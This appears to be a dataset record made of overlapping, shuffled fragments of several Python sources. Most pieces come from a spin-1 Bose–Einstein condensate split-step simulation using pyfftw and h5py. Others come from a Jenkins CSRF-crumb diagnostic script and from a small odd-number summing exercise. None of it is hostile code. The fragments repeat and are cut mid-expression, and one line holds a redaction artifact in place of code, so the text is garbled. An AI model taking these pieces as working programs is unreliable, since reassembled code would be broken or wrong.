abs(F_perp) ** 2) # Magnitude of spin vector #", "F # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k)", "energy + quadratic Zeeman psi_plus_k *= exp(-0.25 * dt *", "x_plus = 2 * pi * pos[3 * N_vort //", "/ F # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus,", "y) # Spatial meshgrid data = h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x', x.shape,", "* n)) psi_0 = (-1. / sqrt(2.) * S *", "2 * q)) / (Nx * Ny) # Inverse FFTs", "Y = np.meshgrid(x, y) # Spatial meshgrid data = h5py.File('../data/splitting_dipole_data.hdf5',", "= pi / 4 gamma = 0. N_vort = 2", "2 N_0 = dx * dy * np.linalg.norm(psi_0) ** 2", "Mx) * dkx) ky = np.fft.fftshift(np.arange(-My, My) * dky) Kx,", "/ len_x x_plus = 2 * pi * pos[3 *", "from include import helper import h5py # ---------Spatial and potential", "h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x', x.shape, data=x) data.create_dataset('grid/y', y.shape, data=y) kx =", "np.linalg.norm(psi_0) ** 2 N_minus = dx * dy * np.linalg.norm(psi_minus)", "an array if np.mod(i, Nframe) == 0: print('it = %1.4f'", "np.mod(i, Nframe) == 0: print('it = %1.4f' % t) psi_plus_save[:,", "/ 2 # Grid spacing dkx = pi / (Mx", "(Nx, Ny, Nt/Nframe), dtype='complex128') psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe),", "S = np.zeros((Nx, Ny), dtype='complex128') # Ensures no division by", "S * F_perp * psi_0 + (C + S *", "* F * (-1j * dt)) if F.min() == 0:", "data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe), dtype='complex128') for i in range(Nt): #", "1 / 2 # Grid spacing dkx = pi /", "* (X - pos[3 * N_vort // 2 + k])", "# Framework for wavefunction data psi_plus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')", ":, k] = psi_0[:, :] psi_minus_save[:, :, k] = psi_minus[:,", "and potential parameters-------------- Mx = My = 64 Nx =", "= 2 * pi * (Y - pos[k]) / len_y", "N_vort // 2 + k]) / len_x x_plus = 2", "* pi * nn) / 2) * tan((X_minus - pi)", "len_x for nn in np.arange(-5, 5): theta_k[k, :, :] +=", "** 2 + Ky ** 2)) / (Nx * Ny)", "FFTs fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k, psi_minus) # Rescaling psi_plus", "np.empty((3, Nx, Ny), dtype='complex128') Psi[0, :, :] = np.zeros((Nx, Ny))", "np.zeros((Nx, Ny)) + 0j Psi[1, :, :] = np.ones((Nx, Ny),", "potentially speed up FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------ #", "box p = q = 0. c0 = 2 c1", "pi * Y / len_y) * (x_plus - x_minus) /", ":, k] = psi_minus[:, :] k += 1 t +=", "arguments Y_minus = 2 * pi * (Y - pos[k])", "pyfftw from numpy import pi, exp, sqrt, sin, cos, conj,", "* psi_minus) Fz = abs(psi_plus) ** 2 - abs(psi_minus) **", "c0 = 2 c1 = 0.5 # Effective 3-component BEC", "y = np.arange(-My, My) * dy X, Y = np.meshgrid(x,", "c1 = 0.5 # Effective 3-component BEC k = 0", "for nn in np.arange(-5, 5): theta_k[k, :, :] += arctan(", "abs(F_perp) ** 2) # Magnitude of spin vector # Total", "by zero else: S = 1j * sin(c1 * F", "np.linalg.norm(psi_0) ** 2) psi_minus *= sqrt(N_minus) / sqrt(dx * dy", "Ny, Nt/Nframe), dtype='complex128') psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe), dtype='complex128')", "2 + Ky ** 2 + 2 * q)) /", "dy * np.linalg.norm(psi_plus) ** 2) psi_0 *= sqrt(N_0) / sqrt(dx", "in range(N_vort // 2): # Scaling positional arguments Y_minus =", "+ 0j Psi[1, :, :] = np.ones((Nx, Ny), dtype='complex128') *", "arctan(tanh((Y_plus + 2 * pi * nn) / 2) *", "---------Spatial and potential parameters-------------- Mx = My = 64 Nx", "= dx * dy * np.linalg.norm(psi_0) ** 2 N_minus =", "+ quadratic Zeeman psi_plus_k *= exp(-0.25 * dt * (Kx", "2 * q)) / (Nx * Ny) psi_0_k *= exp(-0.25", "* dkx) ky = np.fft.fftshift(np.arange(-My, My) * dky) Kx, Ky", "= My = 64 Nx = Ny = 128 #", "wavefunction Psi = np.empty((3, Nx, Ny), dtype='complex128') Psi[0, :, :]", "= 1j * sin(c1 * F * (-1j * dt))", "*= (Nx * Ny) # Renormalizing wavefunction psi_plus *= sqrt(N_plus)", "- x_minus) / (2 * pi) theta_tot += theta_k[k, :,", "Fz = abs(psi_plus) ** 2 - abs(psi_minus) ** 2 F", "of grid pts dx = dy = 1 / 2", "conj, arctan, tanh, tan from numpy import heaviside as heav", "wfn_data, axes=(0, 1), threads=cpu_count) fft_backward = pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0,", "len_x x_plus = 2 * pi * pos[3 * N_vort", "psi_plus, psi_0, psi_minus = helper.rotation(Psi, Nx, Ny, alpha, beta, gamma)", "abs(psi_minus) ** 2 + abs(psi_0) ** 2 + abs(psi_plus) **", "exp(1j * theta_tot) Psi[2, :, :] = np.zeros((Nx, Ny)) +", ":, :] = np.ones((Nx, Ny), dtype='complex128') * exp(1j * theta_tot)", "** 2 # Sin and cosine terms for solution C", "Rescaling psi_plus *= (Nx * Ny) psi_0 *= (Nx *", "heav from include import helper import h5py # ---------Spatial and", "= pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1), threads=cpu_count) fft_backward = pyfftw.FFTW(wfn_data, wfn_data,", "data.create_dataset('grid/y', y.shape, data=y) kx = np.fft.fftshift(np.arange(-Mx, Mx) * dkx) ky", "psi_minus_save[:, :, k] = psi_minus[:, :] k += 1 t", "Framework for wavefunction data psi_plus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_0_k", "F_perp = sqrt(2.) * (conj(psi_plus) * psi_0 + conj(psi_0) *", "numpy import heaviside as heav from include import helper import", "* pi * pos[3 * N_vort // 2 + k]", "tan((X_minus - pi) / 2)) \\ - arctan(tanh((Y_plus + 2", "S * F_perp * psi_plus + C * psi_0 -", "Y_plus = 2 * pi * (Y - pos[N_vort +", ":, :] -= (2 * pi * Y / len_y)", "/ len_y) * (x_plus - x_minus) / (2 * pi)", "# Number of grid pts dx = dy = 1", "dtype='complex128') psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe), dtype='complex128') for i", "# Euler angles alpha = 0. beta = pi /", "(X - pos[N_vort // 2 + k]) / len_x Y_plus", "helper import h5py # ---------Spatial and potential parameters-------------- Mx =", "psi_plus = ((C - S * Fz) * psi_plus -", "pi * (heav(X_plus, 1.) - heav(X_minus, 1.)) theta_k[k, :, :]", "Ny), dtype='complex128') psi_0_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_minus_k = pyfftw.empty_aligned((Nx,", "fft_backward(psi_minus_k, psi_minus) # Rescaling psi_plus *= (Nx * Ny) psi_0", "= 64 Nx = Ny = 128 # Number of", "* F_perp * psi_0 + (C + S * Fz)", ":] -= (2 * pi * Y / len_y) *", "(-1j * dt)) if F.min() == 0: S = np.zeros((Nx,", "= 1 / 2 # Grid spacing dkx = pi", "N_plus = dx * dy * np.linalg.norm(psi_plus) ** 2 N_0", "import multiprocessing as mp import pyfftw from numpy import pi,", "** 2) # Prints current time and saves data to", "= data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx,", "psi_plus_save[:, :, k] = psi_plus[:, :] psi_0_save[:, :, k] =", "# Spatial meshgrid data = h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x', x.shape, data=x)", "* sin(c1 * F * (-1j * dt)) / F", "and saves data to an array if np.mod(i, Nframe) ==", "/ (Nx * Ny) psi_0_k *= exp(-0.25 * dt *", "* tan((X_plus - pi) / 2)) \\ + pi *", "= 0. beta = pi / 4 gamma = 0.", "(V - p + c0 * n)) psi_0 = (-1.", "h5py # ---------Spatial and potential parameters-------------- Mx = My =", "arctan, tanh, tan from numpy import heaviside as heav from", "# Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k) #", "psi_plus - 1. / sqrt(2.) * S * conj(F_perp) *", "Ny), dtype='complex128') # Ensures no division by zero else: S", "* (V - p + c0 * n)) psi_0 =", "+ 2 * pi * nn) / 2) * tan((X_plus", "vortices pos = [-10, 0, 10, 0] theta_k = np.empty((N_vort,", "* (Y - pos[k]) / len_y X_minus = 2 *", "F * (-1j * dt)) / F # Forward FFTs", "0: S = np.zeros((Nx, Ny), dtype='complex128') # Ensures no division", "* Ny) psi_minus *= (Nx * Ny) # Renormalizing wavefunction", "in range(Nt): # Spin vector terms: F_perp = sqrt(2.) *", "dt = 5e-3 t = 0. # Saving time variables:", "*= (Nx * Ny) psi_minus *= (Nx * Ny) #", "pyfftw.empty_aligned((Nx, Ny), dtype='complex128') fft_forward = pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1), threads=cpu_count)", "* dt * (Kx ** 2 + Ky ** 2", "= h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x', x.shape, data=x) data.create_dataset('grid/y', y.shape, data=y) kx", "* psi_0 + conj(psi_0) * psi_minus) Fz = abs(psi_plus) **", "q)) / (Nx * Ny) psi_0_k *= exp(-0.25 * dt", "pi / (Mx * dx) dky = pi / (My", "64 Nx = Ny = 128 # Number of grid", "// 2 + k]) / len_x Y_plus = 2 *", "= (-1. / sqrt(2.) * S * F_perp * psi_plus", "data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe', data=Nframe) # Setting up variables", ":, :] # Initial wavefunction Psi = np.empty((3, Nx, Ny),", "len_x = Nx * dx # Box length len_y =", "variables: data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe', data=Nframe) # Setting up", "# Initial wavefunction Psi = np.empty((3, Nx, Ny), dtype='complex128') Psi[0,", "/ len_x for nn in np.arange(-5, 5): theta_k[k, :, :]", "# Doubly periodic box p = q = 0. c0", "theta_tot += theta_k[k, :, :] # Initial wavefunction Psi =", "numpy as np import multiprocessing as mp import pyfftw from", "0. # Doubly periodic box p = q = 0.", "tan((X_plus - pi) / 2)) \\ + pi * (heav(X_plus,", "q = 0. c0 = 2 c1 = 0.5 #", "= np.zeros((Nx, Ny), dtype='complex128') # Ensures no division by zero", "in np.arange(-5, 5): theta_k[k, :, :] += arctan( tanh((Y_minus +", "conj(psi_0) * psi_minus) Fz = abs(psi_plus) ** 2 - abs(psi_minus)", "len_y) * (x_plus - x_minus) / (2 * pi) theta_tot", "* np.linalg.norm(psi_plus) ** 2) psi_0 *= sqrt(N_0) / sqrt(dx *", "(conj(psi_plus) * psi_0 + conj(psi_0) * psi_minus) Fz = abs(psi_plus)", "2)) \\ + pi * (heav(X_plus, 1.) - heav(X_minus, 1.))", "(V + c0 * n)) psi_minus = (-1. / sqrt(2.)", "exp, sqrt, sin, cos, conj, arctan, tanh, tan from numpy", "Spatial meshgrid data = h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x', x.shape, data=x) data.create_dataset('grid/y',", "+ k]) / len_y X_plus = 2 * pi *", "* S * conj(F_perp) * psi_minus) \\ * exp(-dt *", "* Fz) * psi_minus) * exp(-dt * (V + p", "dx) dky = pi / (My * dy) # K-space", "Euler angles alpha = 0. beta = pi / 4", "# Ensures no division by zero else: S = 1j", "sqrt(dx * dy * np.linalg.norm(psi_plus) ** 2) psi_0 *= sqrt(N_0)", "= 0. N_vort = 2 # Number of vortices pos", "Nx, Ny, alpha, beta, gamma) # Performs rotation to wavefunction", "Generating SQV's ------------------------- # Euler angles alpha = 0. beta", "/ 2) * tan((X_plus - pi) / 2)) \\ +", "+= theta_k[k, :, :] # Initial wavefunction Psi = np.empty((3,", "alpha, beta, gamma) # Performs rotation to wavefunction # Aligning", "80000 Nframe = 200 dt = 5e-3 t = 0.", "Number of grid pts dx = dy = 1 /", "psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe), dtype='complex128') for i in", "+ abs(psi_plus) ** 2 # Sin and cosine terms for", "np.linalg.norm(psi_minus) ** 2 # Time steps, number and wavefunction save", "psi_minus) Fz = abs(psi_plus) ** 2 - abs(psi_minus) ** 2", "t = 0. # Saving time variables: data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt',", "Ny) # Inverse FFTs fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k, psi_minus)", "Ensures no division by zero else: S = 1j *", "psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_0_save = data.create_dataset('wavefunction/psi_0',", "number and wavefunction save variables Nt = 80000 Nframe =", "array if np.mod(i, Nframe) == 0: print('it = %1.4f' %", "Doubly periodic box p = q = 0. c0 =", "cpu_count = mp.cpu_count() wfn_data = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') fft_forward =", "# Array index # ------------------------------ Generating SQV's ------------------------- # Euler", "+= arctan( tanh((Y_minus + 2 * pi * nn) /", "- heav(X_minus, 1.)) theta_k[k, :, :] -= (2 * pi", "n = abs(psi_minus) ** 2 + abs(psi_0) ** 2 +", "(Nx * Ny) psi_minus *= (Nx * Ny) # Trap,", "pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_0_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_minus_k =", "= np.arange(-Mx, Mx) * dx y = np.arange(-My, My) *", "Ny)) theta_tot = np.empty((Nx, Ny)) for k in range(N_vort //", "psi_minus = helper.rotation(Psi, Nx, Ny, alpha, beta, gamma) # Performs", "n)) psi_0 = (-1. / sqrt(2.) * S * F_perp", "len_y X_plus = 2 * pi * (X - pos[3", "** 2)) / (Nx * Ny) psi_minus_k *= exp(-0.25 *", "N_vort = 2 # Number of vortices pos = [-10,", "import h5py # ---------Spatial and potential parameters-------------- Mx = My", "= (-1. / sqrt(2.) * S * F_perp * psi_0", "np.ones((Nx, Ny), dtype='complex128') * exp(1j * theta_tot) Psi[2, :, :]", "Ny), dtype='complex128') * exp(1j * theta_tot) Psi[2, :, :] =", "= 2 * pi * pos[3 * N_vort // 2", "* S * F_perp * psi_plus + C * psi_0", "k]) / len_y X_plus = 2 * pi * (X", "(2 * pi * Y / len_y) * (x_plus -", "= 5e-3 t = 0. # Saving time variables: data.create_dataset('time/Nt',", "range(Nt): # Spin vector terms: F_perp = sqrt(2.) * (conj(psi_plus)", "= abs(psi_plus) ** 2 - abs(psi_minus) ** 2 F =", "\\ + pi * (heav(X_plus, 1.) - heav(X_minus, 1.)) theta_k[k,", "dky) Kx, Ky = np.meshgrid(kx, ky) # K-space meshgrid #", "dt * (Kx ** 2 + Ky ** 2)) /", "*= sqrt(N_plus) / sqrt(dx * dy * np.linalg.norm(psi_plus) ** 2)", ":] += arctan( tanh((Y_minus + 2 * pi * nn)", "Scaling positional arguments Y_minus = 2 * pi * (Y", "for i in range(Nt): # Spin vector terms: F_perp =", "np.zeros((Nx, Ny), dtype='complex128') # Ensures no division by zero else:", "pi / 4 gamma = 0. N_vort = 2 #", "S * conj(F_perp) * psi_0) * exp(-dt * (V -", "S * Fz) * psi_plus - 1. / sqrt(2.) *", "* N_vort // 2 + k] / len_x x_minus =", "/ sqrt(2.) * S * F_perp * psi_0 + (C", "(Nx, Ny, Nt/Nframe), dtype='complex128') for i in range(Nt): # Spin", "exp(-dt * (V - p + c0 * n)) psi_0", "* (X - pos[N_vort // 2 + k]) / len_x", "dy * np.linalg.norm(psi_minus) ** 2 # Time steps, number and", "terms for solution C = cos(c1 * F * (-1j", "psi_0) fft_backward(psi_minus_k, psi_minus) # Rescaling psi_plus *= (Nx * Ny)", "Effective 3-component BEC k = 0 # Array index #", "* (-1j * dt)) if F.min() == 0: S =", "- pos[N_vort + k]) / len_y X_plus = 2 *", "dy) # K-space spacing len_x = Nx * dx #", "ky) # K-space meshgrid # Initialising FFTs cpu_count = mp.cpu_count()", "spacing dkx = pi / (Mx * dx) dky =", "Computing kinetic energy + quadratic Zeeman psi_plus_k *= exp(-0.25 *", "V = 0. # Doubly periodic box p = q", "K-space spacing len_x = Nx * dx # Box length", "My) * dy X, Y = np.meshgrid(x, y) # Spatial", "pyfftw.empty_aligned((Nx, Ny), dtype='complex128') # Controlled variables V = 0. #", "5): theta_k[k, :, :] += arctan( tanh((Y_minus + 2 *", "pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count) # Framework for wavefunction", "2 * pi * nn) / 2) * tan((X_plus -", "* dy * np.linalg.norm(psi_minus) ** 2 # Time steps, number", "((C - S * Fz) * psi_plus - 1. /", "p + c0 * n)) psi_0 = (-1. / sqrt(2.)", "Grid spacing dkx = pi / (Mx * dx) dky", "psi_plus_k *= exp(-0.25 * dt * (Kx ** 2 +", "dy * np.linalg.norm(psi_minus) ** 2) # Prints current time and", "= Ny * dy x = np.arange(-Mx, Mx) * dx", "grid pts dx = dy = 1 / 2 #", "F * (-1j * dt)) if F.min() == 0: S", "// 2): # Scaling positional arguments Y_minus = 2 *", "* conj(F_perp) * psi_minus) \\ * exp(-dt * (V +", "(My * dy) # K-space spacing len_x = Nx *", "Nt/Nframe), dtype='complex128') for i in range(Nt): # Spin vector terms:", "terms: F_perp = sqrt(2.) * (conj(psi_plus) * psi_0 + conj(psi_0)", "- p + c0 * n)) psi_0 = (-1. /", "Nframe) == 0: print('it = %1.4f' % t) psi_plus_save[:, :,", "dtype='complex128') # Ensures no division by zero else: S =", "pts dx = dy = 1 / 2 # Grid", "# Performs rotation to wavefunction # Aligning wavefunction to potentially", "sqrt, sin, cos, conj, arctan, tanh, tan from numpy import", "abs(psi_0) ** 2 + abs(psi_plus) ** 2 # Sin and", "# Rescaling psi_plus *= (Nx * Ny) psi_0 *= (Nx", "tanh, tan from numpy import heaviside as heav from include", "/ sqrt(dx * dy * np.linalg.norm(psi_plus) ** 2) psi_0 *=", "= 2 * pi * (Y - pos[N_vort + k])", "= pyfftw.empty_aligned((Nx, Ny), dtype='complex128') fft_forward = pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1),", "Ny), dtype='complex128') Psi[0, :, :] = np.zeros((Nx, Ny)) + 0j", "* dt * (Kx ** 2 + Ky ** 2))", "FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------ # Normalisation constants N_plus", "- abs(psi_minus) ** 2 F = sqrt(abs(Fz) ** 2 +", "psi_minus) # Rescaling psi_plus *= (Nx * Ny) psi_0 *=", "Fz) * psi_minus) * exp(-dt * (V + p +", "2 # Sin and cosine terms for solution C =", "n)) psi_minus = (-1. / sqrt(2.) * S * F_perp", "** 2 + abs(F_perp) ** 2) # Magnitude of spin", "* np.linalg.norm(psi_minus) ** 2 # Time steps, number and wavefunction", "np.arange(-Mx, Mx) * dx y = np.arange(-My, My) * dy", "dkx) ky = np.fft.fftshift(np.arange(-My, My) * dky) Kx, Ky =", "# Setting up variables to be sequentially saved: psi_plus_save =", "* dy * np.linalg.norm(psi_0) ** 2) psi_minus *= sqrt(N_minus) /", "2 # Time steps, number and wavefunction save variables Nt" ]
[ "set as environment variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url = jenkins_url +", "print_function import requests import sys import os verbose=True try: username=os.environ['USERNAME']", "== 200: crumb_headers = dict() crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1] if verbose:", "requires USERNAME/PASSWORD to be set as environment variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL']", "verbose=True try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except: print(\"Crumb Diaganostic requires USERNAME/PASSWORD to", "to enable \\\"Prevent Cross Site Request Forgery exploits\\\" from:\") print(\"Manage", "Protection and select the appropriate Crumb Algorithm\") print(jenkins_url + \"/configureSecurity\")", "Request Forgery exploits\\\" from:\") print(\"Manage Jenkins > Configure Global Security", "Configure Global Security > CSRF Protection and select the appropriate", "environment variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url)", "dict() crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1] if verbose: print(\"Got crumb: %s\" %", "else: print(\"Failed to get crumb\") print(\"\\nYou may need to enable", "%s\" % crumb.text) else: print(\"Failed to get crumb\") print(\"\\nYou may", "requests.get(url, auth=(username, password)) if crumb.status_code == 200: crumb_headers = dict()", "crumb.status_code == 200: crumb_headers = dict() crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1] if", "= requests.get(url, auth=(username, password)) if crumb.status_code == 200: crumb_headers =", "print(\"Got crumb: %s\" % crumb.text) else: print(\"Failed to get crumb\")", "crumb.text) else: print(\"Failed to get crumb\") print(\"\\nYou may need to", "crumb = requests.get(url, auth=(username, password)) if crumb.status_code == 200: crumb_headers", "Forgery exploits\\\" from:\") print(\"Manage Jenkins > Configure Global Security >", "password=<PASSWORD>['PASSWORD'] except: print(\"Crumb Diaganostic requires USERNAME/PASSWORD to be set as", "Global Security > CSRF Protection and select the appropriate Crumb", "may need to enable \\\"Prevent Cross Site Request Forgery exploits\\\"", "print(url) if username: crumb = requests.get(url, auth=(username, password)) if crumb.status_code", "print(\"Crumb Diaganostic requires USERNAME/PASSWORD to be set as environment variables\")", "username: crumb = requests.get(url, auth=(username, password)) if crumb.status_code == 200:", "__future__ import print_function import requests import sys import os verbose=True", "crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1] if verbose: print(\"Got crumb: %s\" % crumb.text)", "and select the appropriate Crumb Algorithm\") print(jenkins_url + \"/configureSecurity\") sys.exit(-1)", "Cross Site Request Forgery exploits\\\" from:\") print(\"Manage Jenkins > Configure", "from __future__ import print_function import requests import sys import os", "jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if username: crumb = requests.get(url, auth=(username,", "verbose: print(\"Got crumb: %s\" % crumb.text) else: print(\"Failed to get", "import print_function import requests import sys import os verbose=True try:", "auth=(username, password)) if crumb.status_code == 200: crumb_headers = dict() crumb_headers[crumb.text.split(\":\")[0]]", "from:\") print(\"Manage Jenkins > Configure Global Security > CSRF Protection", "200: crumb_headers = dict() crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1] if verbose: print(\"Got", "exploits\\\" from:\") print(\"Manage Jenkins > Configure Global Security > CSRF", "print(\"Manage Jenkins > Configure Global Security > CSRF Protection and", "to be set as environment variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url =", "crumb\") print(\"\\nYou may need to enable \\\"Prevent Cross Site Request", "if crumb.status_code == 200: crumb_headers = dict() crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1]", "enable \\\"Prevent Cross Site Request Forgery exploits\\\" from:\") print(\"Manage Jenkins", "if username: crumb = requests.get(url, auth=(username, password)) if crumb.status_code ==", "import sys import os verbose=True try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except: print(\"Crumb", "> Configure Global Security > CSRF Protection and select the", "Jenkins > Configure Global Security > CSRF Protection and select", "Diaganostic requires USERNAME/PASSWORD to be set as environment variables\") sys.exit(-1)", "print(\"\\nYou may need to enable \\\"Prevent Cross Site Request Forgery", "crumb: %s\" % crumb.text) else: print(\"Failed to get crumb\") print(\"\\nYou", "Security > CSRF Protection and select the appropriate Crumb Algorithm\")", "USERNAME/PASSWORD to be set as environment variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url", "if verbose: print(\"Got crumb: %s\" % crumb.text) else: print(\"Failed to", "import os verbose=True try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except: print(\"Crumb Diaganostic requires", "need to enable \\\"Prevent Cross Site Request Forgery exploits\\\" from:\")", "crumb_headers = dict() crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1] if verbose: print(\"Got crumb:", "sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if username:", "jenkins_url=os.environ['JENKINS_URL'] url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if username: crumb", "as environment variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)'", "sys import os verbose=True try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except: print(\"Crumb Diaganostic", "os verbose=True try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except: print(\"Crumb Diaganostic requires USERNAME/PASSWORD", "be set as environment variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url = jenkins_url", "+ 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if username: crumb = requests.get(url, auth=(username, password))", "% crumb.text) else: print(\"Failed to get crumb\") print(\"\\nYou may need", "try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except: print(\"Crumb Diaganostic requires USERNAME/PASSWORD to be", "print(\"Failed to get crumb\") print(\"\\nYou may need to enable \\\"Prevent", "username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except: print(\"Crumb Diaganostic requires USERNAME/PASSWORD to be set", "variables\") sys.exit(-1) jenkins_url=os.environ['JENKINS_URL'] url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if", "except: print(\"Crumb Diaganostic requires USERNAME/PASSWORD to be set as environment", "= crumb.text.split(\":\")[1] if verbose: print(\"Got crumb: %s\" % crumb.text) else:", "= dict() crumb_headers[crumb.text.split(\":\")[0]] = crumb.text.split(\":\")[1] if verbose: print(\"Got crumb: %s\"", "import requests import sys import os verbose=True try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD']", "crumb.text.split(\":\")[1] if verbose: print(\"Got crumb: %s\" % crumb.text) else: print(\"Failed", "> CSRF Protection and select the appropriate Crumb Algorithm\") print(jenkins_url", "CSRF Protection and select the appropriate Crumb Algorithm\") print(jenkins_url +", "requests import sys import os verbose=True try: username=os.environ['USERNAME'] password=<PASSWORD>['PASSWORD'] except:", "= jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if username: crumb = requests.get(url,", "to get crumb\") print(\"\\nYou may need to enable \\\"Prevent Cross", "url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if username: crumb =", "get crumb\") print(\"\\nYou may need to enable \\\"Prevent Cross Site", "'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\":\",//crumb)' print(url) if username: crumb = requests.get(url, auth=(username, password)) if", "\\\"Prevent Cross Site Request Forgery exploits\\\" from:\") print(\"Manage Jenkins >", "Site Request Forgery exploits\\\" from:\") print(\"Manage Jenkins > Configure Global", "password)) if crumb.status_code == 200: crumb_headers = dict() crumb_headers[crumb.text.split(\":\")[0]] =" ]
[ "x in raw_input().split()] if x > y: x, y =", "x x += 1 if x % 2 == 0", "x % 2 == 0 else 2 print sum([j for", "x, y = [int(x) for x in raw_input().split()] if x", "# -*- coding: utf-8 -*- for i in range(int(raw_input())): x,", "x += 1 if x % 2 == 0 else", "= y, x x += 1 if x % 2", "i in range(int(raw_input())): x, y = [int(x) for x in", "== 0 else 2 print sum([j for j in range(x,", "utf-8 -*- for i in range(int(raw_input())): x, y = [int(x)", "else 2 print sum([j for j in range(x, y, 2)])", "-*- coding: utf-8 -*- for i in range(int(raw_input())): x, y", "y = [int(x) for x in raw_input().split()] if x >", "y, x x += 1 if x % 2 ==", "in raw_input().split()] if x > y: x, y = y,", "= [int(x) for x in raw_input().split()] if x > y:", "raw_input().split()] if x > y: x, y = y, x", "if x > y: x, y = y, x x", "x > y: x, y = y, x x +=", "for x in raw_input().split()] if x > y: x, y", "in range(int(raw_input())): x, y = [int(x) for x in raw_input().split()]", "1 if x % 2 == 0 else 2 print", "y = y, x x += 1 if x %", "for i in range(int(raw_input())): x, y = [int(x) for x", "x, y = y, x x += 1 if x", "+= 1 if x % 2 == 0 else 2", "0 else 2 print sum([j for j in range(x, y,", "if x % 2 == 0 else 2 print sum([j", "> y: x, y = y, x x += 1", "% 2 == 0 else 2 print sum([j for j", "range(int(raw_input())): x, y = [int(x) for x in raw_input().split()] if", "2 == 0 else 2 print sum([j for j in", "coding: utf-8 -*- for i in range(int(raw_input())): x, y =", "[int(x) for x in raw_input().split()] if x > y: x,", "-*- for i in range(int(raw_input())): x, y = [int(x) for", "y: x, y = y, x x += 1 if" ]
